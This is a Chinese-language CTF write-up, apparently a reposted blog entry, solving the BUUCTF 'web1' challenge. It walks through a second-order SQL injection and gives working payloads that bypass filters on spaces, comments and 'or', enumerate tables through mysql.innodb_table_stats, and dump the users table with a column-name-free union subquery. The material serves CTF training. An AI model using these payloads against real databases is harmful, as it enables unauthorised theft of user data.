zoukankan      html  css  js  c++  java
  • BUUCTF-web web1 (无列名注入)

    注册并登录后发现,sql注入,注入点在广告申请的界面。加单引号发现报错

    先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入。

    常见报错函数updatexml,floor以及extractvalue被过滤

    注释符被过滤因此要闭合单引号

    空格被过滤,不过可以用/**/绕过。

    or被过滤所以order和infor都不能用。

    首先使用group代替order

     查字段数:1'/**/group/**/by/**/23,'1-->报错。1'/**/group/**/by/**/22,'1-->无报错。有22个字段。

    查表名:1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22。2和3有回显

    构造1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    mysql.innodb_table_stats参考链接:https://www.anquanke.com/post/id/193512

    得到表名users

    在不知道列名以及不能使用information_schema的情况下,利用子查询进行无列名注入。简要概括就是利用union select用字符替代相应的列名

    最终payload:-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

    这里的as x 是必须的FROM 部分中的每一个表都必须有一个名字,在子查询中 SELECT 的每一列都必须有一个独一无二的名字。


    无列名注入参考链接:https://y4er.com/post/no-column-name-injection/

    https://blog.csdn.net/cao478208248/article/details/28122113

  • 相关阅读:
    RabbitMQ:六、网络分区
    RabbitMQ:五、高阶
    RabbitMQ:四、跨越集群
    数据结构:红黑树
    RabbitMQ:三、进阶
    面对对象多态的异常
    面向对象三大特征---多态
    面对对象继承的优点和缺点
    面对对象当中的代码块
    面对对象this关键字
  • 原文地址:https://www.cnblogs.com/remon535/p/12859438.html
Copyright © 2011-2022 走看看